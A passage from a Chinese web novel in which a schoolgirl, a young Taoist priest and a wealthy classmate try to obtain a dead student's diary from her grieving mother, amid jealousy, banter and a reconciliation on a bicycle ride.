“我家祖父和父亲都与青城山颇有渊源，梁家每逢佳节也有派人到青城山道观上香参拜，关于贵观的事情略知一二。”梁林微微一笑，“在青城山这一辈弟子中，最出众的，当属一位叫‘吴妄’的小道长，小道长面容俊秀，有天人之姿，又深得玉蘅子真人真传，自有玄光护体。方才远远一见，我便感觉到正气凌然，想必您就是吴妄道长。”
“挺识货的。”吴妄扯了扯嘴角。
他虽然表情是微笑的，但眼眸中却没有任何笑意。
他并不喜欢这种被他人看穿的感觉。
而且是在他没有开口的时候，对方几乎都已经完全确定了他的身份和底牌。
而自己，却没有任何看透他的可能。
这样的信息不对等，让吴妄不悦。
但他脸上依旧带着几分不羁的神色，悄无声息地将这份被洞察、被看穿的不悦掩盖了过去。
“对了，沈聆，你们今天早上在这里做什么？你不上学吗？不如待会儿坐我的车一起去吧。”梁林看向了沈聆，语气温柔地说。
沈聆看了一眼吴妄，解释道：“我们……我们是来买葱油饼的。”
“你爱吃这个？”梁林回头看了一眼李艾家的葱油饼摊铺，补充道：“原来是这家，他们家的葱油饼我也挺喜欢吃的，那个阿姨认识我的，她的孩子也在我们学校读书，可惜前段时间出事了。”
“你也认得李艾？”
“嗯，在这之前我经常吃他们家的葱油饼，所以也认识那个阿姨和她的女儿。”
沈聆转念一想，俏皮地眨了眨眼睛：“那……你能帮我一个忙吗？”
154. 胃痛
“有什么是我可以帮你的？”
“当然有，我们现在需要拿到李艾的一本日记，但是那个阿姨明显不相信我们，但是我感觉，或许你可以试试看。”
“乐意效劳。”
……
李艾的母亲还在摊位前忙碌着做葱油饼的事情。
和面、擀面、撒葱、加料，最后将面饼放入油锅里烹炸……她的一系列动作十分娴熟，虽然目前摊位没有其他的顾客，但她似乎没有停下来的意思，只知道忙碌着做出一个又一个葱油饼，似乎用这样的方式麻痹自己的神经，让工作分散掉自己的注意力，好让自己暂时忘记丧女之痛。
正在她低着头忙碌的时候，一个声音在摊位旁响起——
“阿姨早上好，我要一个葱油饼。”
阿姨抬起头，正对上梁林那双沉静的眼眸。
“啊，是梁家的二少爷啊，你今天怎么亲自来买葱油饼了？以前不都是家里的阿姨买回去给你们吗？”
“我看今天天气还不错，而且我也起得早，就自己家里买早餐了。”梁林温和地一笑，“阿姨，不如帮我带三个葱油饼吧，我还有另外两个朋友也想吃吃看你们家的葱油饼。”
“好的好的，你稍等一下哈，我这就给你现做，现做的饼更香一点。”
“那麻烦阿姨了。”
“害，这都哪里的话，这段时间得亏你们照顾我们家的生意，才让我有钱给我家孩子选好一点的墓地……唉。”
一提到孩子，阿姨揉面的动作不由得慢了下来，她抬手用手背揉了揉自己的眼睛，似乎默默擦去了眼角的泪光。
“我这几年，也没有啥本事，只能在这里摆摊卖葱油饼，孩子他爹去世得早，我为了送她去陵川一中读书，已经花掉了家里所有的积蓄，实在是没有另外的钱能给她买好一点的风水宝地了，但是我听说，如果选择的地方不好，孩子的魂魄也不得安宁……我那孩子可怜，生下来就没有享受过什么好东西，我现在她去了之后，至少能睡在一个安稳一点的地方。”
阿姨的声音带着几分颤抖，她的声音闷闷地，似乎这个世界上已经没有什么让她牵挂的东西了，唯一牵挂着的孩子，也已经去了另一个世界。
她现在所有的心愿，就是给自己的孩子买一个能好好安眠的地方。
梁林点了点头，阳光洒在他身上，看着暖洋洋的，温煦着，但他的眼眸深处，却没有太多的温度。
“可以理解的，阿姨，节哀顺变。我想，李艾一定去了另一个更好的地方。”
他虽然彬彬有礼，但却带着礼貌的疏离。
“好孩子，在李艾去世之后，也就是你经常照顾照顾我们家的生意，其他也有许多人自称是我家小艾的同学，其实都是来厚着脸皮打听她是怎么死的，有没有什么稀奇古怪的传闻……那些人真是居心叵测！”
阿姨愤愤不平地说着，将手中的面团一甩，摔在了砧板上。
“刚才还有两个孩子过来，自称是小艾的同学，我看肯定是来套话的！还说什么……阴厨？这是什么东西，我从来没有听过！一听就知道是扯谎，还说什么听过小艾的声音，要找小艾的日记本。”
一听到这里，梁林话锋一转：“那么……李艾真的有一本日记本是吗？”
“女孩子嘛，肯定喜欢记日记的，如果说有的话，我倒是也不意外……但是小艾以前不喜欢和我说太多的话，她是个很文静的孩子，总是自己关在房间里，其他时间都在学校住宿……我也不清楚她那堆本子里有没有什么日记本，小艾死后我也没有来得及看，都堆在她的房间里，我打算找个时间烧给她。”
“那估计是没有吧，要不然，如果刚刚那两个人并非李艾的同学，他们又是如何得知关于日记本这件事的呢？”梁林的这一反问，让阿姨陷入了短暂的惊愕之中。
她瞪大了眼睛，嘴唇微张，似乎想要反驳些什么，可最终一个字也没说出来。
过了好一会儿，阿姨才喃喃自语道：“这么说......好像还真有这种可能啊！”
她的声音带着一丝不确定，仿佛自己都不敢相信这个推断。
这时，梁林趁热打铁继续说道：“要是真有那么一本日记本存在的话，说不定里面会记录下一些李艾原本想说但由于种种原因而未能及时表达出口的话语呢？”
他的目光紧紧盯着阿姨，试图从对方的表情变化中捕捉到更多信息。
听到这番话，阿姨不禁踟蹰起来。
只见她双眉紧蹙，眉间形成了一个深深的“川”字，眼中虽仍残留着几分疑惑之色，但明显已经开始有所动摇。
犹豫再三后，阿姨终于下定决心似的开口说道：“那不然......我先回去找找看吧。如果能找到这本日记本，我就把它带过来，麻烦你帮忙看一看，可以吗？”
说完，她满怀期待地望着梁林，等待着他的回应。
“我？”梁林摇了摇手，“我还是算了，我跟李艾不是很熟，而且，这是李艾的日记，我是个男生，不适合看。”
“没事，我家小艾不会在乎那些，而且，阿姨我也不认识太多字，不会查字典，你帮阿姨瞅瞅，看看里面有没有什么奇怪的东西……说实话，小艾的死，我也存着点疑心，毕竟哪有人的死状是这样的……但是警方也没有找到什么证据，只能按照‘猝死’断案……”
阿姨叹了口气，将面饼放入油锅里，“噼里啪啦”的煎油的声音，听起来就像是煎熬她的肺腑。
“如果日记本里真的有什么有价值的东西，能为我们小艾平反，甚至是……关于凶手的线索，我也算是对得起我家小艾了。”
“可以的，那我明天再来，到时候帮您日记里看看有没有什么奇怪的地方。”
“好的……我今天回去找找，可能那堆花里胡哨的本子里还真的有什么日记本也说不定……”
……
在梁林和阿姨说话的时候，吴妄和沈聆远远地站在远处观察。
“道长，你说梁林能拿到日记本吗？”
“可以的，明天那个阿姨就会拿过来给他看。”吴妄言之凿凿。
沈聆错愕地看着吴妄
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：“诶？你怎么知道？我们隔着这么远，难不成你会唇语？！”
“唇语是不太会，但是‘传音入秘’倒是会一点。”吴妄指了指自己的耳朵，“我担心他会搞什么小动作，就听了听。”
“然后呢？”
“那个大婶还挺信任他的，答应了会回去找日记本，但是因为大婶识字不多，所以托这个小白脸给她看看。”
沈聆看了一眼吴妄，感觉吴妄话中带刺：“什么小白脸啊，你这话说的。”
“他不就是那种标准的小白脸长相吗？娘里娘气的。”吴妄沉着脸色，他似乎从梁林出现的那一刻开始，脸色就不是很好。
“你少胡说，人家可是梁家的少爷，他包养别人还差不多，小白脸那是被富婆包养的人的统称。不知道你在阴阳怪气什么……”
“你有啥意见，阴阳了又如何？又不是说你……”吴妄皱起眉头，眼眸中多了几分不满，“怎么，说到你的心上人了，你有意见了是吧？”
“我才没有，这哪儿跟哪儿啊！”
“你看，你又急了。”
“我才没有！”
在两人说话期间，梁林已经买好了三个葱油饼，来到了他们身边。
见他们说的热闹，梁林一挑眉，将手中两个葱油饼递给了他们：“来，吃饼。”
“谢谢。”沈聆接过了葱油饼。
她感觉手中的葱油饼热乎乎的，漫着香气，她迫不及待地咬了一口，葱香和饼香弥漫在口腔中，她眼中一亮。
“谢了，不饿。”
吴妄看了一眼沈聆，那表情似乎在说“你是猪吗这么能吃”。
梁林的眼神依旧温柔：“你们刚才在说什么？这么热闹的样子，我好像听到了什么‘心上人’之类的词？”
吴妄一挑眉：“梁少爷倒是耳聪目明，隔着老远也能听见。”
梁林不温不火地礼貌回答：“道长过奖了，我只不过是顺着风听到了一些话尾罢了。”
“梁林你别理他，他今天早上好像吃多了，吃饱了撑着，说话也古里古怪的。”沈聆转移了话题，“对了，你刚才跟那个阿姨提到日记本的事情了吗？她怎么说？”
虽然吴妄已经告诉了她这次谈话的内容，但是沈聆必须假装没有听过吴妄的话，才不会暴露吴妄偷听梁林和大婶说话的事情。
“她答应了，之前她倒是不知道李艾有日记本的事情。她答应今天回去会找找看看有没有日记本，找到的话明天会带给我。”梁林温柔着声音回答，他看着沈聆，目光平静如水，“明天我会看看日记本里有没有什么可疑的东西，可能你们不方便直接看，如果有奇怪的东西的话，我跟你们说。”
闻言，沈聆轻轻一笑。
“那好，那就麻烦你啦！”
“我们之间不用这么客气的。”
“……”
吴妄沉着脸看着他们的，看见沈聆对梁林露出的笑容，他的脸色更臭了，一言不发、皱着眉头转身离去。
“诶？！道长你去哪儿？！”
“胃痛，回家。”
155. 生老病死
见事情有了新的转机，也有了调查的眉目和方向，沈聆原本满心欢喜地想要跟着吴妄一同回去，她刚迈出脚步，然而仅仅只走了短短几步路，一只手却从后伸来，拉住了她纤细的手腕。
沈聆下意识地转过头来，目光恰好与梁林那张带着温和笑意的脸庞相对。
只见梁林嘴角上扬，轻声说道：“这会儿差不多到该上学的时候啦，如果不介意的话，就搭乘我的车子，咱们一块儿去学校怎么样？”
听到这话，沈聆不禁有些迟疑起来。
毕竟她在陵川一中待了一晚上，通宵过后身体正是疲乏，原想着回去睡觉的，但被对方这么一问，她脑袋短路了一下，一时间找不到什么好的理由不去上学。
正当她犹豫不决之时，眼角余光瞥见吴妄渐行渐远的身影。
——吴妄仿佛正在闹着别扭似的，闷头快步向前走着，甚至连一次回头看看她有没有跟上的动作都不曾有过。
“……”
望着吴妄逐渐远去直至消失不见的背影，沈聆的心间突然涌起一阵烦闷之感。
她能明显察觉到吴妄此刻心情不佳，像是在生气一般。
可是任凭她绞尽脑汁、苦思冥想，也始终猜不透吴妄究竟为何而气恼。
这种摸不着头脑又无可奈何的感受，如同乱麻般交织在心头，令她感到有点儿委屈，特别是在看到吴妄连回头都不曾有时，那样的委屈便更浓郁了几分。
他好像……不是很想管她。
丢下她就走。
“沈聆？怎么说？要不要一起去上学？你有一段时间没有来学校了，功课还是落下了不少。老师那边，应该会希望你能尽快补上功课，赶上大家的进度的，毕竟今年就要高考了，大家都希望你能考到一个好成绩。”
是啊。
她今年要高考了。
她和吴妄不一样。
吴妄是在青城山修道的人，他们注定是两条不同的路。
她有她自己的人生路，吴妄也有吴妄的修行劫。
他们终究都将回归到自己的事情，回归到自己原来的人生。
“……嗯，好，那就麻烦你了。”
沈聆收回了自己的视线，转头跟着梁林走向另一个方向。
“没事，我家的车就停在那边，司机在车上。”
“好。”
……
沈聆完全没有意识到，就在她转过身跟着梁林渐行渐远之际，吴妄停下了脚步，回头看着他们离去的方向。
那一瞬间，他像是被施了定身咒一般，站在原地。
——选择，跟他走吗……
此刻的吴妄沉默得让人感到压抑。
他只是默默地凝视着那个逐渐消失在视线尽头的身影，深邃的眼眸之中仿佛隐藏着无尽的话语，然而最终都化作了一片无言的寂静。
尽管他努力想要控制自己的表情，试图用平静来掩盖内心汹涌澎湃的情感浪潮，但是那微微颤动的眼角以及眼底深处不经意间流露出的复杂神色，还是无情地出卖了他。
他下压着嘴角，似乎在隐忍着想要吞噬掉自己内心的情绪，但那握紧的拳头，却又不由自主地暴露了他心底的烦郁与纠结。
——他就这么好吗……
这个念头浮上脑海的时候，吴妄自己也没有想过为什么会有这样的念头。
他惊讶于这个念头的产生，却也困惑于这个念头带来的负面情绪的纠葛。
“啊……女人，真是一种麻烦的东西……难怪歌词里唱的都是‘山下的女人是老虎’。”
他撇下这么一句话后，转身离去了。
胸口，隐隐作痛。
那是昨天晚上被刘悦贯穿的伤口，这些在伤口处作祟的煞气正试图吞噬他的真气，原先已经压下的煞气却因为此刻情绪的反噬而在胸口出汹涌着，让人煎熬。
这一瞬间，他倒是怀念起在青城山上无忧无虑的日子了。
似乎在那样的日子里，他的思想很简单，只有修为，修道，求真……除此之外，并无其他。
……
话分两头。
且说，今天一整天在学校里，沈聆都昏昏欲睡。
因为昨晚通宵的缘故，她今天脑袋跟浆糊一样，老师说的话那是一句都没有听进去，眼皮垂下来的时候就想打盹，脑袋跟灌了铅一样一直要垂到桌子上，只能用手硬撑着自己的千斤重的脑袋，好让自己摆出一副“认真听课”、“认真赶进度”的模样。
这表情倒是让坐在旁边的梁林感到几分好笑。
但他看破不说破，知道沈聆累了，但也没有问她为何如此，只是在她打盹的时候，默默帮她立起了桌子上的书本，用那书本遮住了她趴下的脑袋，躲过了自习时候来教室检查自习情况的班主任。
一直到下课铃响起的时候，沈聆才从自己的白日梦里醒来。
这一场白日梦竟然是个噩梦。
梦到自己坐在高考的考场上，但看着手中拿到的卷子，却是一张空白的卷子，她眨了眨眼睛，发现周围的同学们都在奋笔疾书，但自己却一个字都看不见，整个人傻在原地。
一头冷汗地从噩梦中惊醒，她发现已经日暮西山。
“同学们，我们今天的课就上到这里，课后布置了两张卷子，大家晚上回去完成。”
老师在讲台上说着，从文件袋里抽出了一大叠试卷，课代表上台去帮助老师分发试卷。
沈聆看着老师背后密密麻麻的黑板，才发现这节课自己睡得天昏地暗。
“给。”
就在这时，从旁边递过来一张面巾纸。
沈聆转头看去，正对上梁林那双温柔的眼睛。
“擦一擦。”
她愣了一下，依旧不明白梁林是什么意思。
梁林轻笑，用手指了指自己的嘴角，沈聆下意识地也触碰了一下自己的嘴角，才发现自己睡得太沉、竟然流口水了也不自知！
女孩的脸瞬间红透了，她低下头，厚着脸皮接过梁林手里的面巾纸，忙转过头去擦了擦自己的嘴角，满心的羞愧化为了脸上温度，她低着头恨不得现在找个地缝钻进去！
“别介意，我刚才看你睡得很沉，就没有叫你，你好像很累的样子。”
梁林
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的话从身后传来。
沈聆微微回过头，看着梁林一脸平静地接过前桌递过来的试卷，并从中抽出了两张后，递给后桌。
“我觉得……沈聆，因为你的经历和家庭情况有点儿特殊，最近你的精神可能有点儿太紧张了，你应该好好休息一下。”
梁林的声音很温柔，他听起来丝毫没有觉得沈聆白天在课堂上打瞌睡有什么不妥，相反，他的语气中带着宽容和几分宠溺，就像是，对待一个不小心犯了错误的小孩子，好言好语地跟她说话。
“我……我感觉还好，多谢你。”
“不客气，我们是同学，互帮互助是应该的。”
沈聆沉默了一下，问出了自己内心的困惑：“梁林，你就不好奇我为什么要拿到李艾的日记吗？”
“好奇。”
“但为什么没见你问？”
“如果你想告诉我的话，你自然会说，如果你认为我现在还不是该知道的时候，那么自然会杜撰一些理由敷衍我。我不喜欢被别人敷衍和欺骗，与其如此，倒不如等你愿意说了，自然会告诉我。”
梁林低下头，细心地将手中的试卷对折，他似乎有点儿强迫症，一定要将试卷的四个角对齐。
“……谢谢你。”
“我们是同学，互帮互助是应该的。”
梁林再一次重复了一遍这句话，他的语气和神色都十分客气，但这句话里却没带什么感情。
“……梁林，你们家应该也认识马老校长吧。”
沈聆冷不丁抛出这句话。
梁林抬起头看向她：“何出此言？”
“我外婆是在你家老奶奶的葬礼上遇到马老校长的，也是在那个时候，她答应了一些事情……我想着，如果梁家是中间人的话，是不是梁家和马家也很熟悉呢？”
“和马家的话，说不上很熟，但有一些故交，那天葬礼，叫了一些老一辈熟识的人到场，你外婆应该也是其中之一。”
“你奶奶……去世了吗？我听说她一直都住在乡下的祖屋里，刚好是我外婆的邻居。”
“对，前段时间去世了，老人家，身体情况不太行了，难免有个七灾八病的，前段时间天气冷，熬不过去，去世了。多谢你的关心，家父已经为奶奶她举行了葬礼，但家父的意思是，头七还要大办，毕竟是拉扯他长大的老母亲，感情自然更深一点。多谢你关心，也感谢你外婆那天到场送我家奶奶。”
梁林的语气十分平静。
但正是这平静的语气，让沈聆不由得感觉到一阵寒意。
他是如此客气，但又疏离。
“梁林，她……不是你的奶奶吗？为什么你说到她去世的时候，一点伤心的感觉都没有呢？”
闻言，梁林淡淡一笑。
“生老病死，不是世间常事吗。”
他的反问，倒是让沈聆一时间接不上话来。
“但是……”
梁林微微低下头，他的眼睛反着光，让人看不清楚他的眼神和表情。
“她啊，从十六岁嫁入梁家开始到七十岁去世，也算是完成了为梁家生儿育女的使命了。”
156. 和好
在沈聆放学后正准备回家的时候，她接到了来自宋明夷的电话。
“小聆聆——”
电话那头传来了宋明夷鬼哭狼嚎的哭声。
“我是不是昨天晚上差点儿死了啊——为什么我现在在医院里醒过来的时候浑身酸痛啊——”
沈聆下意识地将手机拿远了一点，她几乎可以想象在平安医院急诊科一楼、宋明夷的哭喊声响彻了整个楼层。
“你先别激动，昨天晚上发生了一些事情，可能一时半会儿也说不清楚，不过你别担心，目前事情都弄清楚了，等我晚点到平安医院的时候再跟你细说，你先好好休息一下。”
“但是，但是我身上好多伤口啊……好疼啊……为什么啊？！我一点记忆都没有，我就记得我们还在教室里玩四人游戏，然后……就没有然后了……”
“对，就是在那个时候发生了一些事情，不过还好，我们目前搞清楚在学校里装神弄鬼的是谁了……”
沈聆随着其他同学一起离开了教学楼，她朝着陵川一中的车棚走去，在路过教学楼的时候，忍不住抬起头看向了1号教学楼和2号教学楼的方向，在那个方向，昨天晚上他们遇见了舞蹈室的鬼魂以及在活动室出没的鬼……
其实，那两个鬼魂都是同一个“人”，都是刘悦。
沈聆暗想。
——她为什么会一直停留在舞蹈室呢？
——一定是因为那里是她和马伯良定情的地方吧。
——不过这也不好说，毕竟我们还没有接触过马伯良，不知道他对刘悦是怎样一种感情。
——而且听老校长说，在404四个女孩子都出事后，马伯良就辍学了，生病在家，一直说胡话，说看到了刘悦的鬼魂……
——如果这一切是因为李艾生前下的药，那么她这么做的目的是什么呢？
——而且鬼婴在李艾的回忆里看到的给李艾药的人应该就是梁林没错，他这么做的目的是什么？难道也是冲着人鱼镜而来？梁家和马家有旧交，会不会梁家也想得到人鱼镜？这才通过对马家的孙子下手，让马老校长自乱阵脚、求助于梁家？
——得找个机会见到马伯良，他一定是所有问题的根源。
周围人潮涌动，但沈聆的思绪却前所未有的清晰。
一个个跟她素不相识的同学们与她擦肩而过，她看着那些年轻的面容上洋溢着笑容，内心却为那没能看到第二天太阳的三个女孩子叹息，当然，也包括被错手杀死的刘悦。
他们还有明天。
但她们，已经没有明天了。
“小聆聆？小聆聆？你在听吗？”电话那头的宋明夷见沈聆迟迟没有说话，着急地开口询问，“你现在在哪里啊？怎么你那边声音这么吵？”
“我现在在学校里，这边刚放学，我得先回家一趟，昨天我们建了一个群，我待会儿把你拉进来，晚点儿我们约个世界，我们三个去平安医院看你，你现在安心听医生的话，好好疗伤。”
“呜呜呜，可疼了，我感觉我的骨头都断了好几根，还有我的脖子！好像脱臼了一样。”
“昨晚你被鬼魂操控过，所以你现在身体会很酸疼……不过别担心，昨天晚上把你送去急诊室的时候，医生有检查过你的身体了，你们急诊科的主任说你只是皮外伤和一些脱臼，并没有太多的问题，别担心。”
“那好吧，我在这里等你们吧，不过……不过你得答应我一个事情！”
“你说。”
“我昨天……嘻嘻，其实偷拍了一些我们在学校里的片段，我可以剪辑发到网上吗？我保证！一定不注明是哪个学校拍摄的！”
“不行！宋明夷，你记不记得我们答应过马老校长，所有调查的事情都是保密进行的，而且调查的资料不允许外泄！”
“这没什么的，小聆聆，那个老头都五六十岁了，他肯定不会玩短视频，我发在那上面没人知道的！而且我肯定会打码、模糊化一些关键的线索和场景，就放出我们在黑漆漆的教室里做游戏的片段……中国有成千上万间教室，他怎么能确定我拍的地方就是陵川一中呢？”
“宋明夷……”
“那就这么说好啦！小聆聆你最好啦！再怎么说我都为了调查你们的学校受伤了诶，这点流量和热度的回报就当做是我的辛苦费吧！爱你么么哒！”
不等沈聆说话，电话那头的宋明夷就已经挂断了电话。
沈聆停下脚步，看着手机屏幕，真是气不打一处来。
她像是一个无法控制的变量，随时随地可能出现一些意外情况。
“这个宋明夷，早知道在离开平安医院之前，我就应该检查一下她的手机相册！”
沈聆现在自然是十分懊悔。
不过，她也知道就算现在赶去平安医院也来不及了，她知道作为一个专业主播，宋明夷编辑短视频的速度有多快，这并不是复杂的合成视频，所有的资料基础都是昨天晚上拍摄的影像，如果宋明夷真的用手机偷拍的话，几乎只要把一些人脸马赛克后，就能发到网上去。
而宋明夷现在那名为“小小夷”的账号已经是百万粉丝的大主播账号了，只要她更新作品，那收看和转发的热度将如野火燎原一样瞬间被点燃。
在信息化、数字化的时代，时间成本都被极尽可能压缩到最小。
沈聆叹了口气。
——现在就算是去平安医院阻止她也来不及了。
只能但愿她真的有做好保密工作，人脸和一些关键的、具有识别性的线索她能全都模糊化处理，防止网上的人认出这是陵川一中。
沈聆默默收起了自己的手机，背着书包来到了车棚里。
在车棚里学生们牵着自己的车，一个个依次离开，沈聆来到了车棚的角落，在那里，停着一辆几乎已经积灰了的白色的自行车。
这辆车，是她的爸妈在她上高中的时候买给她的。
虽然沈聆的家也住在陵川市，但是为了更好地节约时间用来读书，周一到周五沈聆还是住在学校里，到了周末的时候
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，要么是爸妈开车来接她，要么是她自己骑车回家。
在爸妈出事之后，这辆车已经就停在车棚的角落里，近乎一个月没有动过。
此刻，这辆白色的自行车上面布满了灰尘，看起来就像是一个被遗弃的孤儿，静静地待在自己的角落里，等着某天主人想起自己。
“……走吧，我们回家。”
沈聆从口袋里拿出一包面巾纸，并用面巾纸擦了擦座椅上的灰尘，推着自行车往车棚外而去。
在这一路上，她脑袋里想的只有一件事情——吴妄。
“不知道道长的伤怎么样了……”
这件事情让沈聆挂心了一天。
早上几乎是负气一样跟着梁林上学去了，没有管太多。
现在想想，实属不该。
甚至有点儿无法理解自己早上为什么赌气，赌的是哪门子的气？
吴妄受伤也是为了调查404女寝的事情，而自己作为灵元草的主人，是唯一能够替他疗伤的人，却没有在结束这些事情之后第一时间询问他的伤情。
虽然煞气并不是很多，但这些煞气如果侵蚀了吴妄的身体，说不定也会带来不可估量的影响。
越想沈聆越心慌。
她踩着自行车朝着校门而去，恨不得插上两个翅膀，飞到家里去。
就在她骑着车离开陵川一中的校门口时，她转了个弯，忽然看到一抹熟悉的身影站在斑马线的对侧——
只见那人上身穿着一件洁白如雪的运动衫，那纯净的颜色宛如天边最柔软的云朵。
他静静地伫立在街边，身姿挺拔如松，一头乌黑的发被整齐地束在了脑后，扎成了一个干净利落的马尾辫。
几缕轻柔的发丝从耳畔垂落下来，随着微风轻轻飘动，不时轻抚过脸颊两侧。
他叼着一根秸秆，悠然自得地背靠着一根电线杆站立着，双手自然地环抱于胸前，双目紧闭，神情安然自若，仿佛正在享受这片刻宁静中的美好时光，又似在耐心等待着某个人的到来。
夕阳西下，那落日的余晖就这么落在他身上，看起来像给他的面庞染上了几分温柔的色彩。
就在沈聆缓缓停下自行车之际，那人像是心有灵犀一般，微微睁开了那双深邃的眼。
那淡定从容的目光，如同两道清澈的溪流，穿过熙攘的人群和喧嚣的街道，精准无误地落在了街对面的沈聆身上。刹那间，时间仿佛凝固，整个世界都只剩下他们彼此交汇的视线。
“道长……”
吴妄咬着那根秸秆的末端，歪了歪头看着沈聆，用传音入秘的声音说道：“我来接你放学。”
沈聆脸颊一红：“你……你的伤没事了吗？”
“小问题，并无大碍。”
他说着，朝着沈聆这边招了招手。
眼眸里，完全没有早上的“嫌隙”。
沈聆愣了两秒后，露出了一个大大的微笑，在人行道的红绿灯转为绿色之后，她踩上了单车的脚踏板，朝着吴妄而去。
157. 言和
夕阳西下，一辆白色的自行车正走在略显艰难的上坡路上。
白色的自行车摇摇晃晃的，一个女孩子正用力地踩着脚踏板，在骑自行车的后座上，一个束着头发的男人倒是显得怡然自得。
“我说……道长，我们是不是反过来了？！按道理应该是你骑车带我才对吧？！”
这个上坡在平常时候并不是什么难事，但是在今天，在现在，在她后座上还坐着一个男人的时候，这个上坡在沈聆看起来简直堪比太行山！
她咬着后槽牙，用力踩着自行车的脚踏板，双手握紧了自行车的车把，一下一下几乎要用尽吃奶的力气来踩自行车，才能艰难地在上坡的路段往上一点点挪动。
坐在后座的道长倒是轻轻一笑，双手环抱在胸前，嘴巴里叼着秸秆，倒显得悠然自得。
“这怎么说呢……按照道理来说，应该是我来载你没错，但是小道在青城山上并没有学过自行车啊，我们在山上那都是用‘双脚傍地走’的，自行车、电动车、汽车这些东西，还是我下了山才看到的。实在是不好意思哈，小道我虽然也很想出一份力，但是实在是‘有心而无力’。”
“你TM是来添乱的吧！”沈聆转过头，满头大汗地看着坐在后座的那个男人！
他怎么可以……这么沉？！
明明看着瘦高瘦高的身材，但是当他坐在后座上的时候，沈聆才发现自己似乎低估了吴妄的体重！
她感觉后座上这个男人可以说有两百斤都不为过！
到底是为什么？！
为什么可以这么沉？！
“道长，你这家伙是不是在你的□□里藏了铅球？！怎么这么重！？我这骡子快要累死了！”
闻言，道长哈哈一笑。
“铅球？我都不知道你这是夸我还是损我了。”
“你放屁！”
“我们修道的人呢，是有真气护体的，这些真气虽然看似无形无色，但实际上也会环绕在我们的身体周围，也会藏在我们的肌肉骨骼里，我虽然看着是个瘦子，但你感受到的我的重量，是来自于我身上的真气。”
“那你帮帮忙，把那些狗屁真气给我散了！”
“那不行，这可是我们护体的法宝，怎么能说散就散？我可是修炼了好久才有这些真气的。”
“那你给我下来！你自己走上去！”
沈聆看着那上坡，只感觉这段上坡的终点似乎遥遥无期，明明只是一个类似于小山丘的爬坡过程，现在感觉起来就像是在翻山越岭，而且翻的是珠穆朗玛峰！
她在前面累死累活地踩着脚踏板，身后的吴妄倒好，一脸“本大爷舒舒服服”的样子。
实在是气不打一处来！
“吴妄你给我下去！你自己走上去！”
“那不行，我可是伤员啊，你怎么忍心我就这么受着伤爬山坡呢？嗯？”
“你特么怎么就是伤员了？！”
“昨天晚上啊，我当着你的面受伤的，怎么转头就忘记了？”吴妄故作矫情地叹了口气，用茶里茶气的语气说道，“唉，毕竟咱也不是像梁林那样的大帅哥，你不记得我的事情那也是正常的事情，虽然我也想下车走走，但我现在实在是伤口疼痛，拉扯得我走不动啊……”
他说着，故作遗憾地叹气了起来，还拿眼瞅了几眼沈聆的背影，一副受了委屈在哭哭啼啼的小媳妇的模样。
沈聆感觉到心肝头杂乱，恨不得现在就从自行车上跳下来，直接一腿给他踢到山坡下去！
但仔细想想，这件事情似乎终究是她理亏，毕竟是她没有第一时间给吴妄疗伤，现在他在这里喊委屈，也是情有可原，而且毕竟她不是吴妄，不清楚伤口的真实情况，如果真的是煞气反噬，确实不应该让他太过劳累。
一番内心纠葛后，沈聆还是选择窝囊地忍气吞声。
虽然。
是真的窝囊！
真是窝囊他妈给窝囊开门，窝囊到家了！
“……行，你就给我装吧你，我还以为你怎么这么好还来接我放学，原来接我放学是个借口，要寻机报复我才是真啊……你可真行，吴妄！吴道长！我记住你了！”
吴妄咬着秸秆，用小拇指掏了掏耳朵。
“好了好了，我知道你记住我了，谁让我这么迷人呢？总是有一些女孩子对我恋恋不忘，那都是正常事情。不要迷恋哥，哥只是个传说的。”
“传说？你特么就只是个‘伴生皮’！”
“嗯？这是什么意思？”
“没什么。”
沈聆别开了视线，心里暗想——这是说你很廉价的意思。
一时间，谁都没有说话。
沈聆用力踩着自行车，也没有再抱怨。
她知道这件事情是自己做的不妥当，抛下了受伤的吴妄而跟着梁林走了。
“……道长。”
“干嘛。”
“对不起啊。”
“……干嘛突然道歉。”
“早上，我不知道为什么有点儿生气，看你自己走了，我赌气，才跟梁林去上学的。”
“……”
吴妄没有说话。
他就坐在沈聆的身后，她能够感觉到他靠着自己的体温，也能想象出此刻他深思的表情。
唯独想象不出的是，他在想什么？
会接受吗？
还是会嘲笑她想太多了？
亦或者……
这沉默让沈聆有点儿惴惴不安。
一时间许多可能性从她脑海中一闪而过，她不知道哪个是对的。
或许她还不够了解吴妄，还无法揣摩他的想法；或许她已经足够了解吴妄，但却不愿意去猜测一向轻狂的他会在心里怎么“嘲笑”自己。
她咬着下唇，陷入了沉默。
自行车朝着山坡的顶端一点点靠近，她终于要骑过去这段艰难的上坡路了。
“吱呀……”
就在这个时候，不知道为什么，沈聆忽然感觉到自行车的分量好像轻了一点。
刚开始她还以为是自己的错觉，但她一下一下地踩着自行车的踏板，却感觉一下子比一下子更轻松一点，上坡仍旧是那个上坡，但她却感觉似乎后座上的那个重量减轻了不少，不止如此，似乎有一股助力在后面推着自行车，帮着她上坡。
——奇怪，是我的错觉吗？
沈聆微微回过头，风擦过她的发丝，落在身后吴妄的怀里。
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>她发现，他也正侧过脸看着她，两人对视的一瞬间，眼神的交际已经胜过了千言万语。
“……”
“……”
这时，沈聆才发现，吴妄的周围正有一团隐隐约约浮动的真气，这团真气从后面助推着自行车上坡，也正是如此，才让沈聆感觉到了“如有神助”。
吴妄不擅长表达内心的想法。
只是用行动表示着自己内心的想法。
……他也曾经介意过她跟着另一个男人转身离去，但现在，在她解释清楚这一切后，似乎所有的芥蒂都在无形中烟消云散。
他们，和好了。
这个念头浮上心头的时候，沈聆轻轻一笑。
——还真是个傲娇啊。
这么想着，她一用力，自行车也上了最后的坡度，来到了山坡的顶端。
“稍等一下。”
吴妄的声音从身后传来，沈聆下意识地握紧了车把手，停住了自行车。
“嗯？”
只见吴妄从后座上下来后走到沈聆身边，左手伸到自己的衣服里，似乎在外套下找什么东西，在沈聆疑惑的目光中，他从外套下掏出了一本蓝色的本子。
“给。”
他将那本小小的本子递到了沈聆面前，沈聆定睛一看，这是一本类似于笔记本一样的东西，封面画着可爱的玉桂狗，但那封面却有点儿旧，似乎这本本子已经被用过了。
“这是什么？”
“你自己看看不就知道了。”
沈聆闻言，接过这本子，翻开一看，却发现第一页写着：
【2023年9月1日，晴】
【今天是开学的第一天，从今天开始，我就是高二的学生了，换了一本新的日记本，希望能有一份重新出发心情。】
【新的一学期，我被分配到了4楼的宿舍，宿舍号是404，虽然有点儿不吉利，但是舍友应该还不错吧，希望这学期还能跟伯良哥哥同班！】
……
沈聆错愕：“这……这是李艾的日记本？！”
